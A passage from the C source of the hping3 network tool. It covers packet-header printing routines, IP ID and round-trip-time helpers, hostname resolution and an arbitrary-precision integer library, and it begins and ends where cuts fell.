"proto=%u,", ip->protocol); adbuf_printf(dest, "cksum=0x%04x,", ip->check); { unsigned char *x = (unsigned char*) &ip->saddr; adbuf_printf(dest, "saddr=%u.%u.%u.%u,", x[0], x[1], x[2], x[3]); x = (unsigned char*) &ip->daddr; adbuf_printf(dest, "daddr=%u.%u.%u.%u", x[0], x[1], x[2], x[3]); } adbuf_printf(dest, ")+"); return -ARS_OK; } int ars_rapd_ipopt(struct adbuf *dest, struct ars_packet *pkt, int layer) { struct ars_ipopt ipopt; int len = pkt->p_layer[layer].l_size; unsigned char *optp = pkt->p_layer[layer].l_data; int optlen, i; /* ip options may not be naturally aligned */ memcpy(&ipopt, pkt->p_layer[layer].l_data, len); optlen = ipopt.len; switch(ipopt.kind) { case ARS_IPOPT_EOL: adbuf_printf(dest, "ip.eol()+"); break; case ARS_IPOPT_NOP: adbuf_printf(dest, "ip.nop()+"); break; case ARS_IPOPT_RR: case ARS_IPOPT_LSRR: case ARS_IPOPT_SSRR: { int ptr = 4; char *optname = ""; switch(ipopt.kind) { case ARS_IPOPT_RR: optname="rr"; break; case ARS_IPOPT_LSRR: optname="lsrr"; break; case ARS_IPOPT_SSRR: optname="ssrr"; break; } adbuf_printf(dest, "ip.%s(ptr=%u,data=", optname, ipopt.un.rr.ptr); while(1) { unsigned char *x; if (ptr > 37 || ptr > (optlen-3)) break; x = optp + ptr - 1; adbuf_printf(dest, "%u.%u.%u.%u/", x[0],x[1],x[2],x[3]); ptr += 4; } if (ptr > 4) adbuf_rtrim(dest, 1); adbuf_printf(dest, ")+"); } break; case ARS_IPOPT_TIMESTAMP: { int ptr = 5; int overflow = (ipopt.un.ts.flags & 0xF0)>>4; int flags = ipopt.un.ts.flags & 0xF; char *strflags; adbuf_printf(dest, "ip.ts(ptr=%u,", ipopt.un.ts.ptr); switch(flags) { case ARS_IPOPT_TS_TSONLY: strflags="tsonly"; break; case ARS_IPOPT_TS_TSANDADDR: strflags="tsandaddr"; break; case ARS_IPOPT_TS_PRESPEC: strflags="prespec"; break; default: strflags=NULL; break; } if (strflags) { adbuf_printf(dest, "flags=%s,", strflags); } else { adbuf_printf(dest, "flags=%u,", flags); } adbuf_printf(dest, "overflow=%u,data=", overflow); while(1) { unsigned char *x; __u32 ts; if (ptr > 37 || ptr > (optlen-4)) break; if (flags != ARS_IPOPT_TS_TSANDADDR && flags != ARS_IPOPT_TS_PRESPEC) { memcpy(&ts, optp+ptr-1, 4); ts = ntohl(ts); adbuf_printf(dest, "%u/", ts); ptr += 4; } else { x = optp + ptr - 1; memcpy(&ts, x+4, 4); adbuf_printf(dest, "%u@%u.%u.%u.%u/", ts,x[0],x[1],x[2],x[3]); ptr += 8; } } if (ptr > 5) adbuf_rtrim(dest, 1); adbuf_printf(dest, ")+"); } break; default: adbuf_printf(dest, "ip.unknown(hex="); for (i = 0; i < optlen; i++) { adbuf_printf(dest, "0x%02x", optp[i]); } adbuf_printf(dest, ")+"); break; } return -ARS_OK; } int ars_rapd_icmp(struct adbuf *dest, struct ars_packet *pkt, int layer) { struct ars_icmphdr *icmp = pkt->p_layer[layer].l_data; adbuf_printf(dest, "icmp("); adbuf_printf(dest, "type=%u,", icmp->type); adbuf_printf(dest, "code=%u,", icmp->code); if (icmp->type == ARS_ICMP_DEST_UNREACH || icmp->type == ARS_ICMP_TIME_EXCEEDED || icmp->type == ARS_ICMP_PARAMETERPROB || icmp->type == ARS_ICMP_SOURCE_QUENCH) { adbuf_printf(dest, "unused=%lu,", (unsigned long) ntohl(icmp->un.gateway)); } if (icmp->type == ARS_ICMP_ECHOREPLY || icmp->type == ARS_ICMP_ECHO || icmp->type == ARS_ICMP_TIMESTAMP || icmp->type == ARS_ICMP_TIMESTAMPREPLY || icmp->type == ARS_ICMP_INFO_REQUEST || icmp->type == ARS_ICMP_INFO_REPLY) { adbuf_printf(dest, "id=%u,", ntohs(icmp->un.echo.id)); adbuf_printf(dest, "seq=%u,", ntohs(icmp->un.echo.sequence)); } if (icmp->type == ARS_ICMP_REDIRECT) { unsigned char x[4]; memcpy(x, &icmp->un.gateway, 4); adbuf_printf(dest, "gw=%u.%u.%u.%u,", x[0], x[1], x[2], x[3]); } adbuf_rtrim(dest, 1); adbuf_printf(dest, ")+"); return -ARS_OK; } int ars_rapd_udp(struct adbuf *dest, struct ars_packet *pkt, int layer) { struct ars_udphdr *udp = pkt->p_layer[layer].l_data; //struct ars_udphdr *defudp = pkt->p_default[pkt->p_layer[layer].l_type]; adbuf_printf(dest, "udp("); adbuf_printf(dest, "sport=%u,", ntohs(udp->uh_sport)); adbuf_printf(dest, "dport=%u,", ntohs(udp->uh_dport)); adbuf_printf(dest, "len=%u,", ntohs(udp->uh_ulen)); adbuf_printf(dest, "cksum=0x%04x", ntohs(udp->uh_sum)); adbuf_printf(dest, ")+"); return -ARS_OK; } int ars_rapd_tcp(struct adbuf *dest, struct ars_packet *pkt, int layer) { struct ars_tcphdr *tcp = pkt->p_layer[layer].l_data; struct ars_tcphdr *deftcp = pkt->p_default[pkt->p_layer[layer].l_type]; adbuf_printf(dest, "tcp("); adbuf_printf(dest, "sport=%u,", ntohs(tcp->th_sport)); adbuf_printf(dest, "dport=%u,", ntohs(tcp->th_dport)); adbuf_printf(dest, "seq=%lu,", ntohl(tcp->th_seq)); adbuf_printf(dest, "ack=%lu,", ntohl(tcp->th_ack)); if (!deftcp || tcp->th_x2 != deftcp->th_x2) adbuf_printf(dest, "x2=0x%1x,", tcp->th_x2); if (!deftcp || tcp->th_off != deftcp->th_off) adbuf_printf(dest, "off=%u,", tcp->th_off); adbuf_printf(dest, "flags="); if (tcp->th_flags & ARS_TCP_TH_FIN) adbuf_printf(dest, "f"); if (tcp->th_flags & ARS_TCP_TH_SYN) adbuf_printf(dest, "s"); if (tcp->th_flags & ARS_TCP_TH_RST) adbuf_printf(dest, "r"); if (tcp->th_flags & ARS_TCP_TH_PUSH) adbuf_printf(dest, "p"); if (tcp->th_flags & ARS_TCP_TH_ACK) adbuf_printf(dest, "a"); if (tcp->th_flags & ARS_TCP_TH_URG) adbuf_printf(dest, "u"); if (tcp->th_flags & ARS_TCP_TH_X) adbuf_printf(dest, "x"); if (tcp->th_flags & ARS_TCP_TH_Y) adbuf_printf(dest, "y"); adbuf_printf(dest, ","); adbuf_printf(dest, "win=%u,", ntohs(tcp->th_win)); adbuf_printf(dest, "cksum=0x%04x,", ntohs(tcp->th_sum)); if (!deftcp || tcp->th_urp != deftcp->th_urp) adbuf_printf(dest, "urp=%u,", ntohs(tcp->th_urp)); adbuf_rtrim(dest, 1); adbuf_printf(dest, ")+"); return -ARS_OK; } int ars_rapd_tcpopt(struct adbuf *dest, struct ars_packet *pkt, int layer) { struct ars_tcpopt tcpopt; int len = pkt->p_layer[layer].l_size; unsigned char *optp = pkt->p_layer[layer].l_data; int optlen, i; /* tcp options may not be naturally aligned */ memcpy(&tcpopt, pkt->p_layer[layer].l_data, len); optlen = tcpopt.len; switch(tcpopt.kind) { case ARS_TCPOPT_EOL: adbuf_printf(dest, "tcp.eol()+"); break; case ARS_TCPOPT_NOP: adbuf_printf(dest, "tcp.nop()+"); break; case ARS_TCPOPT_MAXSEG: adbuf_printf(dest, "tcp.mss(size=%u)+", ntohs(tcpopt.un.mss.size)); break; case ARS_TCPOPT_WINDOW: adbuf_printf(dest, "tcp.wscale(shift=%u)+", tcpopt.un.win.shift); break; case ARS_TCPOPT_SACK_PERM: adbuf_printf(dest, "tcp.sackperm()+"); break; case ARS_TCPOPT_SACK: adbuf_printf(dest, "tcp.sack(blocks="); { int blocks = (optlen-2)/8; for (i = 0; i < blocks; i++) { u_int32_t s_orig, s_size; memcpy(&s_orig, tcpopt.un.sack[i].origin, 4); memcpy(&s_size, tcpopt.un.sack[i].size, 4); adbuf_printf(dest, "%lu-%lu", ntohl(s_orig), ntohl(s_size)); if ((i+1) != blocks) adbuf_addchar(dest, '/'); } } adbuf_printf(dest, ")+"); break; case ARS_TCPOPT_ECHOREQUEST: { __u32 info; memcpy(&info, tcpopt.un.echo.info, 4); adbuf_printf(dest, "tcp.echoreq(info=%lu)+", (unsigned long) ntohl(info)); } break; case ARS_TCPOPT_ECHOREPLY: { __u32 info; memcpy(&info, tcpopt.un.echo.info, 4); adbuf_printf(dest, "tcp.echoreply(info=%lu)+", (unsigned long) ntohl(info)); } break; case ARS_TCPOPT_TIMESTAMP: { __u32 tsval, tsecr; memcpy(&tsval, tcpopt.un.timestamp.tsval, 4); memcpy(&tsecr, tcpopt.un.timestamp.tsecr, 4); adbuf_printf(dest, "tcp.timestamp(val=%lu,ecr=%lu)+", (unsigned long) ntohl(tsval), (unsigned long) ntohl(tsecr)); } break; default: adbuf_printf(dest, "tcp.unknown(hex="); for (i = 0; i < optlen; i++) { adbuf_printf(dest, "%02x", optp[i]); } adbuf_printf(dest, ")+"); break; } return -ARS_OK; } int ars_rapd_igrp(struct adbuf *dest, struct ars_packet *pkt, int layer) { struct ars_igrphdr *igrp = pkt->p_layer[layer].l_data; adbuf_printf(dest, "igrp("); adbuf_printf(dest, "version=%u,", igrp->version); if (igrp->opcode == ARS_IGRP_OPCODE_UPDATE) { adbuf_printf(dest, "opcode=update,", igrp->opcode); } else if (igrp->opcode == ARS_IGRP_OPCODE_REQUEST) { adbuf_printf(dest, "opcode=request,", igrp->opcode); } else { adbuf_printf(dest, "opcode=%u,", igrp->opcode); } adbuf_printf(dest, "edition=%u,", igrp->edition); adbuf_printf(dest, "autosys=%u,", htons(igrp->autosys)); adbuf_printf(dest, "interior=%u,", htons(igrp->interior)); adbuf_printf(dest, "system=%u,", htons(igrp->system)); adbuf_printf(dest, "exterior=%u,", htons(igrp->exterior)); adbuf_printf(dest, "cksum=0x%04x", ntohs(igrp->checksum)); adbuf_printf(dest, ")+"); return -ARS_OK; } static u_int32_t get_net_int24(void *ptr) { unsigned char *x = (unsigned char*)ptr; u_int32_t u; u = x[0] <<16 | x[1] << 8 | x[2]; return u; } int ars_rapd_igrpentry(struct adbuf *dest, struct ars_packet *pkt, int layer) { struct ars_igrpentry *entry = pkt->p_layer[layer].l_data; unsigned char *x = (unsigned char*) entry->destination; adbuf_printf(dest, "igrp.entry("); adbuf_printf(dest, "dest=%u.%u.%u,", x[0], x[1], x[2]); adbuf_printf(dest, "delay=%u,", get_net_int24(entry->delay)); adbuf_printf(dest, "bandwidth=%u,", get_net_int24(entry->bandwidth)); adbuf_printf(dest, "mtu=%u,", entry->mtu[0] << 8 | entry->mtu[1]); adbuf_printf(dest, "reliability=%u,", entry->reliability); adbuf_printf(dest, "load=%u,", entry->load); adbuf_printf(dest, "hopcount=%u", entry->hopcount); adbuf_printf(dest, ")+"); return -ARS_OK; } int ars_rapd_data(struct adbuf *dest, struct ars_packet *pkt, int layer) { unsigned char *data = pkt->p_layer[layer].l_data; int dlen = pkt->p_layer[layer].l_size, i; if (ars_test_option(pkt, ARS_OPT_RAPD_HEXDATA)) { adbuf_printf(dest, "data(hex="); for (i = 0; i < dlen; i++) { adbuf_printf(dest, "%02x", data[i]); } adbuf_printf(dest, ")+"); } else { adbuf_printf(dest, "data(str="); for (i = 0; i < dlen; i++) { /* escape non-printable chars and chars * having special meanings in APD packets. */ if (isgraph(data[i]) && data[i] != '(' && data[i] != ')' && data[i] != '+' && data[i] != ',' && data[i] != '=') adbuf_printf(dest, "%c", data[i]); else adbuf_printf(dest, "\\%02x", data[i]); } adbuf_printf(dest, ")+"); } return 0; } hping3-3.a2.ds2/release.h000066400000000000000000000007621021454026700151750ustar00rootroot00000000000000/* * $smu-mark$ * $name: release.h$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 16 11:55:49 MET 1999$ * $rev: 17$ */ #ifndef _RELEASE_H #define _RELEASE_H #define RELEASE_VERSION "3.0.0-alpha-1" #define RELEASE_DATE "$Id: release.h,v 1.4 2004/04/09 23:38:56 antirez Exp $" #define CONTACTS "" #endif /* _RELEASE_H */ hping3-3.a2.ds2/relid.c000066400000000000000000000020031021454026700146350ustar00rootroot00000000000000/* * $smu-mark$ * $name: relid.c$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:49 MET 1999$ * $rev: 3$ */ /* FIXME: maybe it's better to avoid division per seq_diff and at least add an option to switch on/off this feature */ /* $Id: relid.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include "hping2.h" #include "globals.h" int relativize_id(int seqnum, int *ip_id) { int seq_diff, backup_id; static int last_seq = 0, last_id = -1; backup_id = *ip_id; if (last_id == -1) { last_id = *ip_id; last_seq = seqnum; } else { if ( (seq_diff=(seqnum-last_seq)) > 0) { if (last_id > *ip_id) /* rew */ *ip_id = ((65535-last_id) + *ip_id)/seq_diff; else *ip_id = (*ip_id-last_id) /seq_diff; last_id = backup_id; last_seq = seqnum; return TRUE; } else { out_of_sequence_pkt++; } } return FALSE; } hping3-3.a2.ds2/resolve.c000066400000000000000000000023761021454026700152320ustar00rootroot00000000000000/* * $smu-mark$ * $name: resolve.c$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:49 MET 1999$ * $rev: 8$ */ /* $Id: resolve.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include #include #include #include #include #include #include #include /* On error -1 is returned, on success 0 */ int resolve_addr(struct sockaddr * addr, char *hostname) { struct sockaddr_in *address; struct hostent *host; address = (struct sockaddr_in *)addr; memset(address, 0, sizeof(struct sockaddr_in)); address->sin_family = AF_INET; address->sin_addr.s_addr = inet_addr(hostname); if ( (int)address->sin_addr.s_addr == -1) { host = gethostbyname(hostname); if (host) { memcpy(&address->sin_addr, host->h_addr, host->h_length); return 0; } else { return -1; } } return 0; } /* Like resolve_addr but exit on error */ void resolve(struct sockaddr *addr, char *hostname) { if (resolve_addr(addr, hostname) == -1) { fprintf(stderr, "Unable to resolve '%s'\n", hostname); exit(1); } } hping3-3.a2.ds2/rtt.c000066400000000000000000000051041021454026700143540ustar00rootroot00000000000000/* * $smu-mark$ * $name: rtt.c$ * $author: Salvatore Sanfilippo $ * $copyright: Copyright (C) 1999 by Salvatore Sanfilippo$ * $license: This software is under GPL version 2 of license$ * $date: Fri Nov 5 11:55:49 MET 1999$ * $rev: 3$ */ /* $Id: rtt.c,v 1.2 2003/09/01 00:22:06 antirez Exp $ */ #include #include #include "hping2.h" #include "globals.h" void minavgmax(float ms_delay) { static int avg_counter = 0; if (rtt_min == 0 || ms_delay < rtt_min) rtt_min = ms_delay; if (rtt_max == 0 || ms_delay > rtt_max) rtt_max = ms_delay; avg_counter++; rtt_avg = (rtt_avg*(avg_counter-1)/avg_counter)+(ms_delay/avg_counter); } int rtt(int *seqp, int recvport, float *ms_delay) { long sec_delay = 0, usec_delay = 0; int i, tablepos = -1, status; if (*seqp != 0) { for (i = 0; i < TABLESIZE; i++) if (delaytable[i].seq == *seqp) { tablepos = i; break; } } else { for (i=0; i extern char *cset; extern int8_t r_cset[256]; extern int8_t bitstable[256]; extern double basetable[37]; struct sbn_basepow { unsigned long maxpow; unsigned long maxexp; }; extern struct sbn_basepow basepowtable[37]; #endif /* _SBN_TABLES_H */ hping3-3.a2.ds2/sbignum.c000066400000000000000000001321751021454026700152200ustar00rootroot00000000000000/* antirez's arbitrary precision integer math library. * * $Id: sbignum.c,v 1.3 2003/10/02 08:21:42 antirez Exp $ * * This library was implemented only to joke a bit with the bignum issues, * don't expect this is very fast or well tested. * Note that in many applications you should check that the arbitrary * precision math implementation is very reliable. * * (news! actually I'm using it for hping3, so starting from * now it is something like a real project.) * * NOTE: if you need a very good bignums implementation check-out GMP * at http://swox.com/gmp/ it is very fast and reliable. * * This library API is almost GMP compatible for the subset of * functions exported. * * COPYRIGHT NOTICE * ---------------- * * Copyright(C) 2002-2003 Salvatore Sanfilippo * All rights reserved. * * This code and the documentation is released under the GPL license * version 2 of the license. You can get a copy of the license at * http://www.gnu.org/licenses/gpl.html * A copy of the license is distributed with this code, * see the file COPYING. */ /* History of important bugs: * * 28 Feb 2002: Bad casting in low-level subtraction generated bad results * for particular pairs of numbers. It was a bit hard to * discover the real origin of the bug since all started * with a strange behaviour of the Fermat little theorem. * This was since the modular reduction uses the low-level * subtraction to perform its work. Of course now it's fixed. * * 12 Sep 2003: Fixed a memory leak in mpz_tostr(). */ #include #include #include #include #include #include "sbignum.h" #include "sbignum-tables.h" /* All the function with the _raw suffix don't care about the sign * and works if the last operand, that's specified as a mpz_atom_t pointer * and a u_int32_t length is stored in statically allocated memory, while * higher level functions expect operands declared as mpz_t and initialized * with mpz_init(). */ /* Macros and functions starting with the '_' character are usually not * exported faster versions of normal functions, that do some unsane assumption * like there is enough memory to store the result and so on. * They are used to build more complex functions */ /* --------------------------- Low level functions -------------------------- */ /* For the actual list of supported functions see sbignum.h */ /* inititialization/allocation */ static int mpz_zero_realloc(mpz_ptr z, u_int32_t i); static void mpz_zero(mpz_ptr z); /* shifting */ static int mpz_lshiftword(mpz_ptr r, u_int32_t i); static int mpz_rshiftword(mpz_ptr r, u_int32_t i); /* comparision */ static int32_t mpz_cmpabsi_raw(mpz_ptr a, mpz_atom_t *d, u_int32_t l); static int32_t mpz_cmpabs(mpz_ptr a, mpz_ptr b); /* addition */ static int mpz_addi_raw(mpz_ptr r, mpz_ptr z, mpz_atom_t *d, u_int32_t l); /* subtraction */ static int mpz_subi_raw(mpz_ptr r, mpz_ptr z, mpz_atom_t *d, u_int32_t l); /* multiplication */ static int mpz_muli_raw(mpz_ptr r, mpz_ptr z, mpz_atom_t *d, u_int32_t l); /* division */ static int mpz_divi_qr_raw(mpz_ptr q, mpz_ptr r, mpz_ptr z, mpz_atom_t *d, u_int32_t l); static int mpz_divi_r_raw(mpz_ptr r, mpz_ptr z, mpz_atom_t *d, u_int32_t l); /* number theoretic functions */ static int mpz_gcd_raw(mpz_ptr g, mpz_ptr a, mpz_atom_t *b, u_int32_t l); /* to/from mpz conversions */ static int mpz_tostr(mpz_ptr z, u_int32_t b, void *s, size_t l); /* random numbers */ static void sbn_rand_init(void); /* ================================== MPZ =================================== */ #define MAX(a,b) ((a)>(b)?(a):(b)) #define MIN(a,b) ((a)<(b)?(a):(b)) /* 32bit integer to mpz conversion */ #if ATOMBYTES == 4 #define u32tompz(t,u,l) \ mpz_atom_t t[1]; \ u_int32_t l = 0; \ t[0] = u; \ if (t[0]) l = 1 #elif ATOMBYTES == 2 #define u32tompz(t,u,l) \ mpz_atom_t t[2]; \ u_int32_t l = 0; \ t[0] = u & MPZ_MASK; u >>= MPZ_SHIFT; \ t[1] = u & MPZ_MASK; u >>= MPZ_SHIFT; \ if (t[1]) l = 1; \ else if (t[0]) l = 2 #elif ATOMBYTES == 1 #define u32tompz(t,u,l) \ mpz_atom_t t[4]; \ u_int32_t l = 0; \ t[0] = u & MPZ_MASK; u >>= MPZ_SHIFT; \ t[1] = u & MPZ_MASK; u >>= MPZ_SHIFT; \ t[2] = u & MPZ_MASK; u >>= MPZ_SHIFT; \ t[3] = u & MPZ_MASK; u >>= MPZ_SHIFT; \ if (t[3]) l = 4; \ else if (t[2]) l = 3; \ else if (t[1]) l = 2; \ else if (t[0]) l = 1 #endif /* shift/andmask needed to division and modulo operation for ATOMBITS: * a / ATOMBITS == A >> DIVATOMBITS_SHIFT * a % ATOMBITS == A & MODATOMBITS_MASK */ #if ATOMBYTES == 4 #define DIVATOMBITS_SHIFT 5 #elif ATOMBYTES == 2 #define DIVATOMBITS_SHIFT 4 #elif ATOMBYTES == 1 #define DIVATOMBITS_SHIFT 3 #endif #define MODATOMBITS_MASK ((1<l = l; \ (mpz)->a = l; \ (mpz)->s = 0; \ (mpz)->d = t; \ } while(0) /* Raw inizialization of mpz_t elements */ #define _mpz_raw_init(z, d, l, a, s) \ do { \ (z)->d = d; \ (z)->l = l; \ (z)->a = a; \ (z)->s = s; \ } #define _mpz_neg(z) \ do { \ (z)->s ^= 1; \ } while(0) /* ------------------------ debugging macros -------------------------------- */ #define debugprint(m,z) do { \ char *_s = mpz_get_str(NULL, 10, z); \ printf("[%d]%s\n", m, _s); \ free(_s); \ } while(0) #define debugprint2(m,z) do { \ char *_s = mpz_get_str(NULL, 2, z); \ printf("[%d]%s\n", m, _s); \ free(_s); \ } while(0) /* ---------------------- initialization/allocation ------------------------- */ /* Initialize a relative bignum. * return values: none, can't fail */ void mpz_init(mpz_ptr z) { z->d = NULL; z->a = z->l = z->s = 0; } /* This function is used every time we need to set the z->d[l] word in the * z->d array of the mpz_t type. It performs the allocation when * needed. So if you call it with l = 0, there is anyway at least * one word allocated. Warning: the normalization inside some function * relies on this behaviour. * * return values: * SBN_OK on success * SBN_MEM on out of memory * * On error the previous memory configuration and memory of 'z' * is untouched. * * The new words are initialized to zero. * Note that this function relies on an ANSI-C realloc() that * acts like free if the 'size' = 0, and return NULL in such a case, * and also acts like malloc if the ptr = NULL. */ int mpz_realloc(mpz_ptr z, u_int32_t i) { void *new; u_int32_t j; if (i < z->a) return SBN_OK; new = realloc(z->d, (i+1)*MPZ_ATOMSZ); if (new == NULL) return SBN_MEM; z->d = new; /* set the new words to zero */ for (j = z->a; j <= i; j++) z->d[j] = 0; z->a = j; /* j = i+1 here */ return SBN_OK; } /* Normalize the length of z, that's to set z->l accordly to the * most non-zero significant digit. Assume that all the storage * is initialized to zero (that's a global assuption). */ void mpz_normalize(mpz_ptr z) { int32_t j; if (!z->a) return; j = z->a-1; while(j >= 0) { if (z->d[j]) break; j--; } z->l = j+1; if (z->l == 0) z->s = 0; } /* If z == 0, make it positive */ void mpz_normalize_sign(mpz_ptr z) { if (z->l == 0) z->s = 0; } /* inline version of mpz_normalize() that assumes z->a > 0 */ #define _mpz_normalize(z) \ do { \ int32_t j = (z)->a-1; \ while(j >=0 && !(z)->d[j]) \ j--; \ (z)->l = j+1; \ } while(0) /* Free a bignum, can't fail */ void mpz_clear(mpz_ptr z) { free(z->d); } /* Free a bignum and prepare it to accept up to i+1 digits (base 256) * Note: not GMP compatible. Don't alter the sign */ int mpz_zero_realloc(mpz_ptr z, u_int32_t i) { int err; if ((err = mpz_realloc(z, i)) != SBN_OK) return err; mpz_zero(z); return SBN_OK; } /* raw z = 0 * Note: not GMP compatible. Don't alter the sign */ void mpz_zero(mpz_ptr z) { if (!z->l) return; memset(z->d, 0, z->l*MPZ_ATOMSZ); z->l = 0; } /* Create a stack-allocated clone of the bignum pointed by 'z' and make * 'z' pointing to the clone. This is used when the different operators * of some operations point to the same object. */ #define _mpz_clone_stack(z) \ do { \ mpz_ptr t = alloca(sizeof(mpz_t)); \ t->d = alloca((z)->a*MPZ_ATOMSZ); \ t->s = (z)->s; \ t->l = (z)->l; \ t->a = (z)->a; \ memcpy(t->d, (z)->d, (z)->a*MPZ_ATOMSZ); \ (z) = t; \ } while(0) /* Clone 'z' using the 'L' atoms pointed by 'D' using stack-allocated memory */ #define _mpz_rawclone_stack(z, D, L) \ do { \ (z)->d = alloca((L)*MPZ_ATOMSZ); \ (z)->l = z->a = (L); \ (z)->s = 0; \ memcpy((z)->d, (D), (L)*MPZ_ATOMSZ); \ } while(0) /* Create a stack-allocated copy of 'z' in 'r'. 'r' is an mpz_ptr type */ #define _mpz_copy_stack(r, z) \ do { \ r = alloca(sizeof(mpz_t)); \ (r)->d = alloca((z)->a*MPZ_ATOMSZ); \ (r)->s = (z)->s; \ (r)->l = (z)->l; \ (r)->a = (z)->a; \ memcpy((r)->d, (z)->d, (z)->a*MPZ_ATOMSZ); \ } while(0) /* ----------------------- basic raw operations ----------------------------- */ /* clear the sign flag, so 'z' will be ABS(z) */ #define _mpz_abs(z) \ do { \ (z)->s = 0; \ } while(0) /* ---------------------------- bits operations ----------------------------- */ /* compute the number of bits needed to rappresent the number 'z' */ u_int32_t mpz_bits(mpz_ptr z) { u_int32_t bits = (z->l-1) * ATOMBITS; mpz_atom_t x = z->d[z->l-1]; while(x) { bits++; x >>= 1; } return bits; } /* Set the bit 'i' in 'z' */ int mpz_setbit(mpz_ptr z, u_int32_t i) { u_int32_t atom = i >> DIVATOMBITS_SHIFT; u_int32_t bit = i & MODATOMBITS_MASK; int err; if ((err = mpz_realloc(z, atom)) != SBN_OK) return err; z->d[atom] |= (mpz_atom_t) 1 << bit; if (z->l < atom+1) z->l = atom+1; return SBN_OK; } /* Inline bit pusher that expects the user know what is doing. * Used in the division algorithm. */ #define _mpz_setbit(z, i) \ do { \ u_int32_t _atom = (i)>>DIVATOMBITS_SHIFT; \ (z)->d[_atom] |= (mpz_atom_t) 1<<((i)&MODATOMBITS_MASK);\ if ((z)->l < _atom+1) (z)->l = _atom+1; \ } while(0) /* Faster version without normalization */ #define __mpz_setbit(z, i) \ do { \ u_int32_t _atom = (i)>>DIVATOMBITS_SHIFT; \ (z)->d[_atom] |= (mpz_atom_t) 1<<((i)&MODATOMBITS_MASK);\ } while(0) /* Clear the bit 'i' in 'z' */ int mpz_clrbit(mpz_ptr z, u_int32_t i) { u_int32_t atom = i >> DIVATOMBITS_SHIFT; u_int32_t bit = i & MODATOMBITS_MASK; if (atom >= z->l) return SBN_OK; /* nothing to clear */ z->d[atom] &= ~((mpz_atom_t) 1 << bit); if (atom == z->l-1) mpz_normalize(z); return SBN_OK; } /* Fast clear-bit with normalization */ #define _mpz_clrbit(z, i) \ do { \ u_int32_t _atom = (i)>>DIVATOMBITS_SHIFT; \ (z)->d[_atom] &= ~((mpz_atom_t) 1<<((i)&MODATOMBITS_MASK)); \ if (_atom == z->l-1) \ _mpz_normalize(z); \ } while(0) /* Fast clear-bit without normalization */ #define __mpz_clrbit(z, i) \ do { \ u_int32_t _atom = (i)>>DIVATOMBITS_SHIFT; \ (z)->d[_atom] &= ~((mpz_atom_t) 1<<((i)&MODATOMBITS_MASK));\ } while(0) /* test the bit 'i' of 'z' and return: * 0 if the bit 'i' is not set or out of range * > 0 if the bit 'i' is set */ int mpz_testbit(mpz_ptr z, u_int32_t i) { u_int32_t atom = i >> DIVATOMBITS_SHIFT; u_int32_t bit = i & MODATOMBITS_MASK; if (atom >= z->l) return 0; return (z->d[atom] & ((mpz_atom_t) 1 << bit)); } /* inline bit tester that expects the user know what is doing. * It's used in the division algorithm. Return 0 if the bit is set, * non zero if the bit isn't zet */ #define _mpz_testbit(z, i) \ ((z)->d[(i)>>DIVATOMBITS_SHIFT] & ((mpz_atom_t)1<<((i)&MODATOMBITS_MASK))) /* Return 1 if 'z' is odd, 0 if it's even. */ #define mpz_is_odd(z) (((z)->l) ? ((z)->d[0] & 1) : 0) /* The same of mpz_odd() but assume there is at least an word allocated */ #define _mpz_is_odd(z) ((z)->d[0] & 1) #define _mpz_is_even(z) (!_mpz_is_odd(z)) /* -------------------------------- shifting -------------------------------- */ /* Left shift of 'i' words */ int mpz_lshiftword(mpz_ptr r, u_int32_t i) { int err; if (!i) return SBN_OK; if ((err = mpz_realloc(r, (r->l+i)-1)) != SBN_OK) return err; memmove(r->d+i, r->d, r->l*MPZ_ATOMSZ); memset(r->d, 0, i*MPZ_ATOMSZ); r->l += i; return SBN_OK; } /* Right shift of 'i' words */ int mpz_rshiftword(mpz_ptr r, u_int32_t i) { if (!i) return SBN_OK; if (i >= r->l) { mpz_zero(r); return SBN_OK; } memmove(r->d, r->d+i, (r->l-i)*MPZ_ATOMSZ); r->l -= i; memset(r->d+r->l, 0, i); return SBN_OK; } /* Left shift of 'i' bits */ int mpz_lshift(mpz_ptr r, mpz_ptr z, u_int32_t i) { u_int32_t rawshift = i >> DIVATOMBITS_SHIFT; u_int32_t bitshift = i & MODATOMBITS_MASK; int32_t j; mpz_carry_t x; int err; /* clone 'z' in 'r' */ if (r != z && ((err = mpz_set(r, z)) != SBN_OK)) return err; if (rawshift && ((err = mpz_lshiftword(r, rawshift)) != SBN_OK)) return err; if (!bitshift) return SBN_OK; /* We need an additional word */ if ((err = mpz_realloc(r, r->l+1)) != SBN_OK) return err; /* note that here we are sure that 'bitshift' <= ATOMBITS */ if (r->l) { for (j = r->l-1; j >= 0; j--) { x = (mpz_carry_t) r->d[j] << bitshift; r->d[j] = x & MPZ_MASK; r->d[j+1] |= x >> ATOMBITS; } if (r->d[r->l]) r->l++; } return SBN_OK; } /* Fast 'z' 1 bit left shift. Assume there is allocated space for * an additional atom. Handle normalization */ #define _mpz_self_lshift1(z) \ do { \ int32_t j; \ for (j = (z)->l-1; j >= 0; j--) { \ (z)->d[j+1] |= ((z)->d[j] & (1<<(ATOMBITS-1))) >> (ATOMBITS-1);\ (z)->d[j] <<= 1; \ } \ if ((z)->d[(z)->l]) \ (z)->l++; \ } while(0); /* Fast 'z' 1 bit left shift + set bit 0 to 'b'. Assume there is allocated * space for an additional atom. Handle normalization */ #define _mpz_self_lshift1_setbit0(z, b) \ do { \ int32_t j; \ for (j = (z)->l-1; j >= 0; j--) { \ (z)->d[j+1] |= ((z)->d[j] & (1<<(ATOMBITS-1))) >> (ATOMBITS-1);\ (z)->d[j] <<= 1; \ } \ (z)->d[0] |= b; \ if ((z)->d[(z)->l]) \ (z)->l++; \ } while(0); /* Right shift of 'i' bits */ int mpz_rshift(mpz_ptr r, mpz_ptr z, u_int32_t i) { u_int32_t rawshift = i >> DIVATOMBITS_SHIFT; u_int32_t bitshift = i & MODATOMBITS_MASK; u_int32_t j; mpz_carry_t x; int err; /* clone 'z' in 'r' */ if (r != z && ((err = mpz_set(r, z)) != SBN_OK)) return err; if (rawshift && ((err = mpz_rshiftword(r, rawshift)) != SBN_OK)) return err; if (!bitshift) 